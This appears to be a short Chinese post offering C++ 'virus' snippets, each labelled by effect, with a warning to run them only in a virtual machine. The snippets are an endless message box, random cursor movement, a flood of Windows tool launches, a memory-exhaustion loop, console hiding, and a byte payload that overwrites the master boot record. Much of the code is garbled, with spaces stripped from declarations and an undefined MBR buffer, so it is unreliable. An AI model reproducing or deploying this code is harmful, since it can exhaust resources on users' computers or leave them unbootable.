请勿尝试,第1个没事,其它都是致命的,可在虚拟机

不然就试试就逝世
#include <windows.h>
#include <cstdio>
    int main(){
    int x;
    while(true){
        x=MessageBox(GetForegroundWindow(),"等你的电脑毁灭吧!!!","未知文件",1);
}
}

鼠标乱动病毒

#include<bits/stdc++.h>
intx=GetSystemMetrics(SM_CXSCREEN);
inty=GetSystemMetrics(SM_CYSCREEN);
while(1)cout<<"Oh!!!"<<endl&&SetCursorPos(rand()%x,rand()%y);

弹窗病毒

system("startnotepad");
system("startcalc");
system("startcmd");
system("startNslookup");
system("startcleanmgr");
system("startdxdiag");
system("starttaskmgr");
system("startwiaacmgr");
system("startmmc");

抢内存病毒

while(true){
    char*p=newchar[10000];
}

隐藏控制台病毒

#include<windows.h>
int main() {
    HWNDhwnd;
    if(hwnd) ShowWindow(hwnd, SW_HIDE);
    return 0;
}

MBR病毒感染

unsignedcharscode[] = 
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
memcpy(pMBR, scode, sizeof(scode) - 1);